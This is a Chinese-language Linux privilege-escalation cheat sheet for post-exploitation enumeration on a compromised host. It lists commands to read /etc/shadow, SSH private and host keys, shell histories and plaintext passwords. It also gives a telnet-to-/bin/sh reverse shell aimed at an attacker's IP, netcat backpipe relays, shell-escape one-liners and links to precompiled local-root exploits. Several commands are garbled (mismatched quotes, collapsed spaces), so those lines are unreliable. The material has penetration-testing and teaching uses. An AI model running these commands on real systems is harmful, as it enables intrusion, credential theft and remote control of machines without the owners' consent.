Linux提權(quán)后獲取敏感信息的方法與途徑
在本文開始之前，我想指出我不是專家。據(jù)我所知，在這個龐大的區(qū)域,沒有一個“神奇”的答案.分享，共享(我的出發(fā)點)。下面是一個混合的命令做同樣的事情，在不同的地方，或只是一個不同的眼光來看待事物。我知道有更多的“東西”去尋找。這只是一個基本粗略的指南。并不是每一個命令，做好要注重細節(jié).
文中的每行為一條命令，文中有的命令可能在你的主機上敲不出來，因為它可能是在其他版本的linux中所使用的命令。
列舉關(guān)鍵點
(Linux)的提權(quán)是怎么一回事：
收集 – 枚舉，枚舉和一些更多的枚舉。
過程 – 通過數(shù)據(jù)排序，分析和確定優(yōu)先次序。
搜索 – 知道搜索什么和在哪里可以找到漏洞代碼。
適應(yīng) – 自定義的漏洞，所以它適合。每個系統(tǒng)的工作并不是每一個漏洞“都固定不變”。
嘗試 – 做好準備,試驗和錯誤。
操作類型
操作類型是什么版本?
cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release
它的內(nèi)核版本是什么?
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz
它的環(huán)境變量里有些什么?
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
是否有臺打印機?
lpstat -a
應(yīng)用與服務(wù)
正在運行什么服務(wù)?什么樣的服務(wù)具有什么用戶權(quán)限?
ps aux ps -ef top cat /etc/service
哪些服務(wù)具有root的權(quán)限?這些服務(wù)里你看起來那些有漏洞,進行再次檢查!
ps aux | grep root ps -ef | grep root
安裝了哪些應(yīng)用程序?他們是什么版本?哪些是當前正在運行的?
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/
Service設(shè)置，有任何的錯誤配置嗎?是否有任何(脆弱的)的插件?
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
主機上有哪些工作計劃?
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
主機上可能有哪些純文本用戶名和密碼?
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信與網(wǎng)絡(luò)
NIC(s)，系統(tǒng)有哪些?它是連接到哪一個網(wǎng)絡(luò)?
/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network
網(wǎng)絡(luò)配置設(shè)置是什么?網(wǎng)絡(luò)中有什么樣的服務(wù)器?DHCP服務(wù)器?DNS服務(wù)器?網(wǎng)關(guān)?
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname
其他用戶主機與系統(tǒng)的通信?
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
緩存?IP和/或MAC地址?
arp -e route /sbin/route -nee
數(shù)據(jù)包可能嗅探嗎?可以看出什么?監(jiān)聽流量
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你如何get一個shell?你如何與系統(tǒng)進行交互?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ nc -lvp 4444 # Attacker. 輸入 (命令) nc -lvp 4445 # Attacker. 輸出(結(jié)果) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目標系統(tǒng)上. 使用 攻擊者的IP!
如何端口轉(zhuǎn)發(fā)?(端口重定向)
# rinetd # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch # fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 #ssh # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port #mknod # mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
建立隧道可能嗎?本地，遠程發(fā)送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig
秘密信息和用戶
你是誰?哪個id登錄?誰已經(jīng)登錄?還有誰在這里?誰可以做什么呢?
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
可以找到什么敏感文件?
cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/
什么有趣的文件在home/directorie(S)里?如果有權(quán)限訪問
ls -ahlR /root/ ls -ahlR /home/
是否有任何密碼，腳本，數(shù)據(jù)庫，配置文件或日志文件?密碼默認路徑和位置
cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg
用戶做過什么?是否有任何密碼呢?他們有沒有編輯什么?
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
可以找到什么樣的用戶信息
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
private-key 信息能否被發(fā)現(xiàn)?
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
文件系統(tǒng)
哪些用戶可以寫配置文件在/ etc /?能夠重新配置服務(wù)?
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有什么可以發(fā)現(xiàn)?
ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
網(wǎng)站上的任何隱藏配置/文件?配置文件與數(shù)據(jù)庫信息?
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
有什么在日志文件里?(什么能夠幫助到“本地文件包含”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ # auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系統(tǒng)引導(dǎo)……)
如果命令限制，你可以打出哪些突破它的限制?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
如何安裝文件系統(tǒng)?
mount df -h
是否有掛載的文件系統(tǒng)?
cat /etc/fstab
什么是高級Linux文件權(quán)限使用?Sticky bits, SUID 和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #
Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目錄可以寫入和執(zhí)行呢?幾個“共同”的目錄：/ tmp目錄，/var / tmp目錄/ dev /shm目錄
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders
Any "problem" files?可寫的的，“沒有使用"的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
準備和查找漏洞利用代碼
安裝了什么開發(fā)工具/語言/支持?
find / -name perl* find / -name python* find / -name gcc* find / -name cc
如何上傳文件?
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
查找exploit代碼
http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com
查找更多有關(guān)漏洞的信息
http://www.cvedetails.com http://packetstormsecurity.org/files/cve/[CVE] http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE] http://www.91ri.org/
(快速)“共同的“exploit,預(yù)編譯二進制代碼文件
http://tarantula.by.ru/localroot/ http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
上面的信息很難嗎?
快去使用第三方腳本/工具來試試吧!
系統(tǒng)怎么打內(nèi)核，操作系統(tǒng)，所有應(yīng)用程序，插件和Web服務(wù)的最新補丁?
apt-get update && apt-get upgrade yum update
服務(wù)運行所需的最低的權(quán)限?
例如，你需要以root身份運行MySQL?
能夠從以下網(wǎng)站找到自動運行的腳本?!
http://pentestmonkey.net/tools/unix-privesc-check/ http://labs.portcullis.co.uk/application/enum4linux/ http://bastille-linux.sourceforge.net
(快速)指南和鏈接
例如
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
其他
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
